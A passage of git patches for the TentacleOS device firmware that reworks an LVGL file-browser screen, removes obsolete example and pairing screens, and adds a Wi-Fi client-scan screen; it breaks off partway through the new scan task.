LV_ALIGN_TOP_LEFT, 0, HEADER_H); + lv_obj_set_style_radius(body, 0, 0); + lv_obj_set_style_bg_color(body, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(body, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(body, 0, 0); + lv_obj_set_style_pad_all(body, 0, 0); + lv_obj_set_scroll_dir(body, LV_DIR_VER); + lv_obj_remove_flag(body, LV_OBJ_FLAG_SCROLL_ELASTIC); + lv_obj_remove_flag(body, LV_OBJ_FLAG_SCROLL_MOMENTUM); + lv_obj_set_scrollbar_mode(body, LV_SCROLLBAR_MODE_AUTO); + lv_obj_set_style_bg_color(body, current_theme.border_accent, LV_PART_SCROLLBAR); + lv_obj_set_style_bg_opa(body, LV_OPA_COVER, LV_PART_SCROLLBAR); + lv_obj_set_style_width(body, 4, LV_PART_SCROLLBAR); + lv_obj_set_style_radius(body, 2, LV_PART_SCROLLBAR); + s_vbody = body; + + lv_obj_t *gut = lv_label_create(body); + lv_label_set_text(gut, s_gbuf); + lv_obj_set_width(gut, 22); + lv_obj_set_style_text_align(gut, LV_TEXT_ALIGN_RIGHT, 0); + lv_obj_set_style_text_font(gut, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(gut, lv_color_hex(COL_DIM), 0); + lv_obj_align(gut, LV_ALIGN_TOP_LEFT, 8, 8); + + lv_obj_t *txt = lv_label_create(body); + lv_label_set_text(txt, s_vbuf); + lv_obj_set_style_text_font(txt, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(txt, current_theme.text_main, 0); + lv_obj_align(txt, LV_ALIGN_TOP_LEFT, 40, 8); + + lv_obj_scroll_to_y(body, 0, LV_ANIM_OFF); + + build_footer("UP/DOWN scroll BACK close"); +} - lv_obj_t *lbl = lv_label_create(item); - lv_label_set_text(lbl, s_entry_names[i]); - lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); - lv_obj_set_flex_grow(lbl, 1); - lv_label_set_long_mode(lbl, LV_LABEL_LONG_SCROLL_CIRCULAR); - - if (s_entry_is_dir[i]) { - lv_obj_t *arrow = lv_label_create(item); - lv_label_set_text(arrow, LV_SYMBOL_REFRESH); - lv_obj_set_style_text_color(arrow, current_theme.border_accent, 0); - lv_obj_set_style_text_font(arrow, &lv_font_montserrat_12, 0); +static void build_screen(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_inner = NULL; + s_vbody = NULL; + s_pk_icon = s_pk_name = s_pk_tag = s_pk_meta = s_pk_snip = NULL; + s_gl_name = s_gl_type = NULL; + s_item_count = 0; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_screen, 0, 0); + lv_obj_set_style_pad_all(s_screen, 0, 0); + + if (s_in_viewer) { + build_viewer(); + } else { + build_header(); + build_pathbar(); + if (s_view == VIEW_LIST) { + build_list(); + build_peek(); + } else { + build_grid(); } - - s_item_objs[i] = item; + build_footer("OK open BACK up hold OK: view"); + refresh_selection(); } - if (s_entry_count == 0) { - lv_obj_t *empty = lv_label_create(s_items_cont); - lv_label_set_text(empty, "Empty folder"); - lv_obj_set_style_text_color(empty, current_theme.border_inactive, 0); - lv_obj_set_style_text_font(empty, &lv_font_montserrat_12, 0); - } + if (s_timer == NULL) + s_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); - update_selection(); + ui_screen_load(s_screen); } -static void nav_timer_cb(lv_timer_t *timer) { - if (lv_screen_active() != s_screen_files) { - lv_timer_delete(timer); - s_nav_timer = NULL; +static void move_list(int d) { + int n = cur_dir()->child_count; + if (n <= 0) return; + s_sel = (s_sel + d + n) % n; + refresh_selection(); + ui_feedback(UI_FB_NAV); +} +static void move_grid(int dx, int dy) { + int n = cur_dir()->child_count; + if (n <= 0) + return; + int s = s_sel; + if (dx > 0 && s < n - 1) + s++; + if (dx < 0 && s > 0) + s--; + if (dy > 0) { + int t = s + 3; + s = (t < n) ? t : n - 1; } - - if (ui_input_is_locked()) + if (dy < 0) { + int t = s - 3; + if (t >= 0) + s = t; + } + if (s != s_sel) { + s_sel = s; + refresh_selection(); + ui_feedback(UI_FB_NAV); + } +} +static void do_enter(void) { + const file_node_t *e = &cur_dir()->children[s_sel]; + if (e->type == FT_DIR) { + if (e->child_count == 0) + return; + s_sel_stack[s_depth] = (uint8_t)s_sel; + s_path[s_depth] = (uint8_t)s_sel; + s_depth++; + s_sel = 0; + ui_feedback(UI_FB_SELECT); + build_screen(); + } else { + s_in_viewer = true; + ui_feedback(UI_FB_SELECT); + build_screen(); + } +} +static void do_back(void) { + if (s_in_viewer) { + s_in_viewer = false; + build_screen(); return; + } + if (s_depth > 0) { + s_depth--; + s_sel = s_sel_stack[s_depth]; + ui_feedback(UI_FB_NAV); + build_screen(); + } else { + ui_switch_screen(SCREEN_MENU); + } +} +static void toggle_view(void) { + s_view = (s_view == VIEW_LIST) ? VIEW_GRID : VIEW_LIST; + ui_feedback(UI_FB_SELECT); + build_screen(); +} - bool is_up = up_button_is_down(); - bool is_down = down_button_is_down(); - bool is_left = left_button_is_down(); - bool is_right = right_button_is_down(); - bool is_back = back_button_is_down(); - - if (s_is_viewing_file) { - if (is_down && !s_btn_down_last && s_viewer.text_area != NULL) - lv_obj_scroll_by(s_viewer.text_area, 0, -VIEWER_SCROLL_STEP, LV_ANIM_ON); - - if (is_up && !s_btn_up_last && s_viewer.text_area != NULL) - lv_obj_scroll_by(s_viewer.text_area, 0, VIEWER_SCROLL_STEP, LV_ANIM_ON); - - if ((is_left && !s_btn_left_last) || (is_back && !s_btn_back_last)) - close_file_viewer(); - - s_btn_up_last = is_up; - s_btn_down_last = is_down; - s_btn_left_last = is_left; - s_btn_right_last = is_right; - s_btn_back_last = is_back; +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; return; } - if (is_down && !s_btn_down_last && s_entry_count > 0) { - s_selected = (s_selected + 1) % s_entry_count; - update_selection(); - } + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + bool ok_short = false; + uint32_t now = lv_tick_get(); - if (is_up && !s_btn_up_last && s_entry_count > 0) { - s_selected = (s_selected == 0) ? s_entry_count - 1 : s_selected - 1; - update_selection(); + if (ui_input_is_locked()) + goto latch; + + if (s_in_viewer) { + if (down && !s_down_last && s_vbody) + lv_obj_scroll_by(s_vbody, 0, -SCROLL_STEP, LV_ANIM_ON); + if (up && !s_up_last && s_vbody) + lv_obj_scroll_by(s_vbody, 0, SCROLL_STEP, LV_ANIM_ON); + if ((back && !s_back_last) || (left && !s_left_last)) { + do_back(); + goto latch; + } + goto latch; } - if (is_right && !s_btn_right_last) - navigate_into(); - - if (is_left && !s_btn_left_last) - navigate_back(); + if (ok && !s_ok_last) { + s_ok_down_since = now; + s_ok_long_fired = false; + s_ok_armed = true; + } + if (ok && s_ok_last && s_ok_armed && !s_ok_long_fired && (now - s_ok_down_since) >= OK_LONG_MS) { + s_ok_long_fired = true; + s_ok_armed = false; + toggle_view(); + goto latch; + } + ok_short = (!ok && s_ok_last && s_ok_armed && !s_ok_long_fired); + + if (s_view == VIEW_LIST) { + if (down && !s_down_last) + move_list(+1); + if (up && !s_up_last) + move_list(-1); + if (right && !s_right_last) { + do_enter(); + goto latch; + } + if ((back && !s_back_last) || (left && !s_left_last)) { + do_back(); + goto latch; + } + } else { + if (down && !s_down_last) + move_grid(0, +1); + if (up && !s_up_last) + move_grid(0, -1); + if (right && !s_right_last) + move_grid(+1, 0); + if (left && !s_left_last) + move_grid(-1, 0); + if (back && !s_back_last) { + do_back(); + goto latch; + } + } - if (is_back && !s_btn_back_last) { - ui_switch_screen(SCREEN_MENU); - return; + if (ok_short) { + s_ok_armed = false; + do_enter(); + goto latch; } - s_btn_up_last = is_up; - s_btn_down_last = is_down; - s_btn_left_last = is_left; - s_btn_right_last = is_right; - s_btn_back_last = is_back; -} \ No newline at end of file +latch: + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_files_open(void) { + ESP_LOGI(TAG, "files explorer"); + s_depth = 0; + s_sel = 0; + s_in_viewer = false; + s_ok_long_fired = false; + s_ok_armed = false; + s_up_last = s_down_last = s_left_last = s_right_last = s_ok_last = s_back_last = false; + build_screen(); +} diff --git a/firmware_p4/components/Applications/ui/screens/files/include/files_ui.h b/firmware_p4/components/Applications/ui/screens/files/include/files_ui.h index 9b47a3dcc..f8b24b4c5 100644 --- a/firmware_p4/components/Applications/ui/screens/files/include/files_ui.h +++ b/firmware_p4/components/Applications/ui/screens/files/include/files_ui.h @@ -13,18 +13,23 @@ // You should have received a copy of the GNU General Public License // along with TentacleOS. If not, see . -#ifndef FILES_UI_H -#define FILES_UI_H +#ifndef UI_FILES_H +#define UI_FILES_H #ifdef __cplusplus extern "C" { #endif -/** @brief Open the file browser screen. */ +/** + * @brief Open the file browser screen (mock). + * + * Two-level navigation (folders -> files) from a canned table. No filesystem + * is touched. + */ void ui_files_open(void); #ifdef __cplusplus } #endif -#endif // FILES_UI_H +#endif // UI_FILES_H From ca149a24403b664e6414ec90b62ece8cc2aee122 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:35:34 -0300 Subject: [PATCH 142/572] chore(ui): remove obsolete sub_example and companion_pairing screens --- .../companion_pairing/companion_pairing_ui.c | 182 ------------------ .../include/companion_pairing_ui.h | 30 --- .../sub_example/include/sub_example_ui.h | 30 --- .../ui/screens/sub_example/sub_example_ui.c | 155 --------------- 4 files changed, 397 deletions(-) delete mode 100644 firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/companion_pairing/include/companion_pairing_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/sub_example/include/sub_example_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/sub_example/sub_example_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c b/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c deleted file mode 100644 index 38374437e..000000000 --- a/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c +++ /dev/null @@ -1,182 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "companion_pairing_ui.h" - -#include - -#include "core/lv_group.h" -#include "libs/qrcode/lv_qrcode.h" - -#include "esp_log.h" - -#include "buttons_gpio.h" -#include "footer_ui.h" -#include "header_ui.h" -#include "host_link_ble.h" -#include "host_link_sec.h" -#include "lv_port_indev.h" -#include "toggle_ui.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "COMPANION_PAIRING_UI"; - -#define QR_SIZE 104 -#define QR_ALIGN_Y 26 -#define TITLE_ALIGN_Y 6 -#define HEX_LABEL_WIDTH 220 -#define HEX_LABEL_ALIGN_Y 84 -#define STATUS_ALIGN_Y (-58) -#define ADV_ROW_ALIGN_Y (-30) -#define HINT_ALIGN_Y (-6) -#define NAV_TIMER_PERIOD_MS 50 - -static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_status = NULL; -static toggle_ui_t s_adv_toggle; -static lv_timer_t *s_nav_timer = NULL; - -static bool s_btn_ok_last = false; -static bool s_btn_back_last = false; - -static void nav_timer_cb(lv_timer_t *t); -static void refresh_status(void); - -void ui_companion_pairing_open(void) { - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_clear_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen); - footer_ui_create(s_screen); - - lv_obj_t *title = lv_label_create(s_screen); - lv_label_set_text(title, "COMPANION APP"); - lv_obj_set_style_text_color(title, current_theme.text_main, 0); - lv_obj_align(title, LV_ALIGN_TOP_MID, 0, TITLE_ALIGN_Y); - - char psk_hex[HOST_LINK_PSK_HEX_SIZE]; - esp_err_t err = host_link_sec_get_psk_hex(psk_hex, sizeof(psk_hex)); - if (err != ESP_OK) { - ESP_LOGE(TAG, "PSK unavailable: %s", esp_err_to_name(err)); - lv_obj_t *msg = lv_label_create(s_screen); - lv_label_set_text(msg, "Pairing key unavailable"); - lv_obj_set_style_text_color(msg, current_theme.text_main, 0); - lv_obj_align(msg, LV_ALIGN_TOP_MID, 0, QR_ALIGN_Y); - } else { - lv_obj_t *qr = lv_qrcode_create(s_screen); - lv_qrcode_set_size(qr, QR_SIZE); - lv_qrcode_set_dark_color(qr, lv_color_black()); - lv_qrcode_set_light_color(qr, lv_color_white()); - lv_qrcode_update(qr, psk_hex, strlen(psk_hex)); - lv_obj_align(qr, LV_ALIGN_TOP_MID, 0, QR_ALIGN_Y); - lv_obj_set_style_border_width(qr, 4, 0); - lv_obj_set_style_border_color(qr, lv_color_white(), 0); - - lv_obj_t *hex = lv_label_create(s_screen); - lv_label_set_long_mode(hex, LV_LABEL_LONG_WRAP); - lv_obj_set_width(hex, HEX_LABEL_WIDTH); - lv_label_set_text(hex, psk_hex); - lv_obj_set_style_text_color(hex, current_theme.text_main, 0); - lv_obj_set_style_text_align(hex, LV_TEXT_ALIGN_CENTER, 0); - lv_obj_align(hex, LV_ALIGN_TOP_MID, 0, HEX_LABEL_ALIGN_Y); - } - - // Status line (advertising + connection), refreshed by the nav timer. - s_status = lv_label_create(s_screen); - lv_obj_set_style_text_color(s_status, current_theme.text_main, 0); - lv_obj_align(s_status, LV_ALIGN_BOTTOM_MID, 0, STATUS_ALIGN_Y); - - // Advertising on/off row: label + toggle switch. - lv_obj_t *adv_label = lv_label_create(s_screen); - lv_label_set_text(adv_label, "Advertising"); - lv_obj_set_style_text_color(adv_label, current_theme.text_main, 0); - lv_obj_align(adv_label, LV_ALIGN_BOTTOM_LEFT, 18, ADV_ROW_ALIGN_Y); - - toggle_ui_create(&s_adv_toggle, s_screen); - lv_obj_align(s_adv_toggle.obj, LV_ALIGN_BOTTOM_RIGHT, -18, ADV_ROW_ALIGN_Y); - toggle_ui_set(&s_adv_toggle, host_link_ble_is_active()); - - lv_obj_t *hint = lv_label_create(s_screen); - lv_label_set_text(hint, "OK: toggle advertising BACK: exit"); - lv_obj_set_style_text_color(hint, current_theme.text_main, 0); - lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, HINT_ALIGN_Y); - - refresh_status(); - - if (main_group != NULL) { - lv_group_add_obj(main_group, s_screen); - lv_group_focus_obj(s_screen); - } - - if (s_nav_timer == NULL) { - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); - } - - lv_screen_load(s_screen); -} - -static void refresh_status(void) { - if (s_status == NULL) { - return; - } - bool adv = host_link_ble_is_active(); - bool connected = host_link_ble_is_connected(); - lv_label_set_text_fmt(s_status, - "Advertising: %s App: %s", - adv ? "ON" : "OFF", - connected ? "connected" : "none"); - toggle_ui_set(&s_adv_toggle, adv); -} - -static void nav_timer_cb(lv_timer_t *t) { - if (lv_screen_active() != s_screen) { - lv_timer_delete(t); - s_nav_timer = NULL; - return; - } - if (ui_input_is_locked()) { - return; - } - - bool ok = ok_button_is_down(); - bool back = back_button_is_down(); - - if ((back && !s_btn_back_last) || left_button_is_down()) { - s_btn_back_last = back; - ui_switch_screen(SCREEN_BLE_MENU); - return; - } - - if (ok && !s_btn_ok_last) { - if (host_link_ble_is_active()) { - host_link_ble_stop(); - } else { - host_link_ble_start(); - } - refresh_status(); - } - - refresh_status(); // reflect async connection changes - - s_btn_ok_last = ok; - s_btn_back_last = back; -} diff --git a/firmware_p4/components/Applications/ui/screens/companion_pairing/include/companion_pairing_ui.h b/firmware_p4/components/Applications/ui/screens/companion_pairing/include/companion_pairing_ui.h deleted file mode 100644 index d877f23d8..000000000 --- a/firmware_p4/components/Applications/ui/screens/companion_pairing/include/companion_pairing_ui.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef COMPANION_PAIRING_UI_H -#define COMPANION_PAIRING_UI_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the companion-app pairing screen (PSK as QR + hex fallback). */ -void ui_companion_pairing_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // COMPANION_PAIRING_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/sub_example/include/sub_example_ui.h b/firmware_p4/components/Applications/ui/screens/sub_example/include/sub_example_ui.h deleted file mode 100644 index 99b772a60..000000000 --- a/firmware_p4/components/Applications/ui/screens/sub_example/include/sub_example_ui.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef SUB_EXAMPLE_UI_H -#define SUB_EXAMPLE_UI_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the sub-example screen. */ -void ui_sub_example_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // SUB_EXAMPLE_UI_H \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/sub_example/sub_example_ui.c b/firmware_p4/components/Applications/ui/screens/sub_example/sub_example_ui.c deleted file mode 100644 index 1f55609f6..000000000 --- a/firmware_p4/components/Applications/ui/screens/sub_example/sub_example_ui.c +++ /dev/null @@ -1,155 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "sub_example_ui.h" - -#include "ui_theme.h" -#include "header_ui.h" -#include "footer_ui.h" - -#include "core/lv_group.h" -#include "ui_manager.h" -#include "lv_port_indev.h" -#include "esp_log.h" - -#define BG_COLOR current_theme.screen_base -#define COLOR_BORDER 0x834EC6 -#define COLOR_GRADIENT_TOP 0x000000 -#define COLOR_GRADIENT_BOT 0x2E0157 - -static lv_obj_t *screen_sub_example = NULL; -static lv_style_t style_menu; -static lv_style_t style_btn; -static bool styles_initialized = false; - -static void init_styles(void) { - if (styles_initialized) - return; - - lv_style_init(&style_menu); - lv_style_set_bg_opa(&style_menu, LV_OPA_TRANSP); - lv_style_set_border_width(&style_menu, 2); - lv_style_set_border_color(&style_menu, lv_color_hex(COLOR_BORDER)); - lv_style_set_radius(&style_menu, 6); - lv_style_set_pad_all(&style_menu, 10); - lv_style_set_pad_row(&style_menu, 10); - - lv_style_init(&style_btn); - lv_style_set_bg_color(&style_btn, lv_color_hex(COLOR_GRADIENT_BOT)); - lv_style_set_bg_grad_color(&style_btn, lv_color_hex(COLOR_GRADIENT_TOP)); - lv_style_set_bg_grad_dir(&style_btn, LV_GRAD_DIR_VER); - lv_style_set_border_width(&style_btn, 2); - lv_style_set_border_color(&style_btn, lv_color_hex(COLOR_BORDER)); - lv_style_set_radius(&style_btn, 6); - - styles_initialized = true; -} - -static void menu_item_event_cb(lv_event_t *e) { - lv_obj_t *img_sel = lv_event_get_user_data(e); - lv_event_code_t code = lv_event_get_code(e); - - if (code == LV_EVENT_FOCUSED) { - lv_obj_clear_flag(img_sel, LV_OBJ_FLAG_HIDDEN); - } else if (code == LV_EVENT_DEFOCUSED) { - lv_obj_add_flag(img_sel, LV_OBJ_FLAG_HIDDEN); - } -} - -static void create_menu(lv_obj_t *parent) { - init_styles(); - - lv_coord_t menu_h = 240 - 24 - 20; - - lv_obj_t *menu = lv_obj_create(parent); - lv_obj_set_size(menu, 240, menu_h); - lv_obj_align(menu, LV_ALIGN_CENTER, 0, 2); - lv_obj_add_style(menu, &style_menu, 0); - lv_obj_set_scroll_dir(menu, LV_DIR_VER); - lv_obj_set_scrollbar_mode(menu, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_flex_flow(menu, LV_FLEX_FLOW_COLUMN); - - static const void *wifi_icon = NULL; - static const void *select_icon = NULL; - - if (!wifi_icon) - wifi_icon = "A:/icons/WIFI_ICON_MENU.png"; - if (!select_icon) - select_icon = "A:/UI/MENU_SELECT.png"; - - for (int i = 0; i < 4; i++) { - lv_obj_t *btn = lv_btn_create(menu); - lv_obj_set_size(btn, lv_pct(100), 40); - lv_obj_add_style(btn, &style_btn, 0); - lv_obj_set_style_anim_time(btn, 0, 0); - - lv_obj_t *img_left = lv_img_create(btn); - lv_img_set_src(img_left, wifi_icon); - lv_obj_align(img_left, LV_ALIGN_LEFT_MID, 8, 0); - lv_obj_set_style_img_recolor_opa(img_left, LV_OPA_0, 0); - - lv_obj_t *lbl = lv_label_create(btn); - lv_label_set_text_static(lbl, "EXAMPLE"); - lv_obj_center(lbl); - - lv_obj_t *img_sel = lv_img_create(btn); - lv_img_set_src(img_sel, select_icon); - lv_obj_align(img_sel, LV_ALIGN_RIGHT_MID, -8, 0); - lv_obj_add_flag(img_sel, LV_OBJ_FLAG_HIDDEN); - lv_obj_set_style_img_recolor_opa(img_sel, LV_OPA_0, 0); - - lv_obj_add_event_cb(btn, menu_item_event_cb, LV_EVENT_FOCUSED, img_sel); - lv_obj_add_event_cb(btn, menu_item_event_cb, LV_EVENT_DEFOCUSED, img_sel); - - if (main_group) { - lv_group_add_obj(main_group, btn); - } - } -} - -static void sub_example_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) == LV_EVENT_KEY) { - if (lv_event_get_key(e) == LV_KEY_LEFT) { - ui_switch_screen(SCREEN_HOME); - } - } -} - -void ui_sub_example_open(void) { - if (screen_sub_example) { - lv_obj_del(screen_sub_example); - screen_sub_example = NULL; - } - - screen_sub_example = lv_obj_create(NULL); - lv_obj_set_style_bg_color(screen_sub_example, BG_COLOR, 0); - lv_obj_remove_flag(screen_sub_example, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(screen_sub_example); - footer_ui_create(screen_sub_example); - create_menu(screen_sub_example); - - lv_obj_add_event_cb(screen_sub_example, sub_example_event_cb, LV_EVENT_KEY, NULL); - - lv_screen_load(screen_sub_example); -} - -void ui_sub_example_cleanup(void) { - if (styles_initialized) { - lv_style_reset(&style_menu); - lv_style_reset(&style_btn); - styles_initialized = false; - } -} \ No newline at end of file From f3265c5880b06c83a9944ecdc152a61100f58c44 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:37:22 -0300 Subject: [PATCH 143/572] feat(ui): add client scan screen and drop legacy stations scan --- ...fi_scan_stations_ui.h => wifi_client_ui.h} | 14 +- .../ui/screens/wifi/wifi_client_ui.c | 219 ++++++++++ .../ui/screens/wifi/wifi_scan_stations_ui.c | 393 ------------------ 3 files changed, 228 insertions(+), 398 deletions(-) rename firmware_p4/components/Applications/ui/screens/wifi/include/{wifi_scan_stations_ui.h => wifi_client_ui.h} (70%) create mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_client_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_stations_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_scan_stations_ui.h b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_client_ui.h similarity index 70% rename from firmware_p4/components/Applications/ui/screens/wifi/include/wifi_scan_stations_ui.h rename to firmware_p4/components/Applications/ui/screens/wifi/include/wifi_client_ui.h index db7402d7e..7cbb08d30 100644 --- a/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_scan_stations_ui.h +++ b/firmware_p4/components/Applications/ui/screens/wifi/include/wifi_client_ui.h @@ -13,18 +13,22 @@ // You should have received a copy of the GNU General Public License // along with TentacleOS. If not, see . -#ifndef WIFI_SCAN_STATIONS_UI_H -#define WIFI_SCAN_STATIONS_UI_H +#ifndef WIFI_CLIENT_UI_H +#define WIFI_CLIENT_UI_H #ifdef __cplusplus extern "C" { #endif -/** @brief Open the Wi-Fi stations scan screen. */ -void ui_wifi_scan_stations_open(void); +/** + * @brief Open the Wi-Fi client/station scan screen. The C5 sweeps channels in + * promiscuous mode and reports the MACs of nearby client devices + * (probe-request transmitters). + */ +void ui_wifi_client_open(void); #ifdef __cplusplus } #endif -#endif // WIFI_SCAN_STATIONS_UI_H +#endif // WIFI_CLIENT_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_client_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_client_ui.c new file mode 100644 index 000000000..16c2f0d4b --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/wifi/wifi_client_ui.c @@ -0,0 +1,219 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "wifi_client_ui.h" + +#include +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "bridge.h" +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "WIFI_CLI_UI"; + +#define NAV_TIMER_MS 50 +#define SCAN_RESULT_COLOR_HEX 0x00E676 +#define CLI_ICON "/assets/icons/radar_icon.bin" +#define CLI_MAX 12 +#define SCAN_SETTLE_MS 150 +#define SCAN_POLL_TRIES 24 +#define SCAN_POLL_DELAY_MS 400 +#define TASK_STACK_SIZE 4096 +#define TASK_PRIORITY 4 + +typedef enum { SCAN_RUNNING, SCAN_DONE, SCAN_FAIL } scan_state_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static scan_state_t s_scan_state = SCAN_RUNNING; +static bool s_scanning = false; +static int s_cli_count = 0; +static char s_cli_labels[CLI_MAX][32]; + +static bool s_btn_up_last = false; +static bool s_btn_down_last = false; +static bool s_btn_left_last = false; +static bool s_btn_right_last = false; +static bool s_btn_ok_last = false; +static bool s_btn_back_last = false; + +static void nav_timer_cb(lv_timer_t *t); + +static void build_screen(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "Clients", CLI_ICON); + + if (s_scan_state == SCAN_RUNNING) { + menu_component_add_item(&s_menu, CLI_ICON, "Scanning channels..."); + } else if (s_scan_state == SCAN_FAIL) { + menu_component_add_item(&s_menu, CLI_ICON, "Scan failed (C5?)"); + } else if (s_cli_count == 0) { + menu_component_add_item(&s_menu, CLI_ICON, "No clients found"); + } else { + for (int i = 0; i < s_cli_count; i++) { + menu_component_add_item(&s_menu, CLI_ICON, s_cli_labels[i]); + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(SCAN_RESULT_COLOR_HEX)); + } + } + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void scan_done_cb(void *unused) { + (void)unused; + if (ui_current_screen() != SCREEN_WIFI_CLIENTS) + return; + build_screen(); + ESP_LOGI(TAG, "client scan finished: state=%d, %d client(s)", (int)s_scan_state, s_cli_count); +} + +static void wifi_client_task(void *arg) { + (void)arg; + scan_state_t result = SCAN_FAIL; + int count = 0; + + if (bridge_master_init() == ESP_OK) { + bridge_frame_t req = {.cmd = BRIDGE_CMD_WIFI_CLIENT_SCAN_START}; + 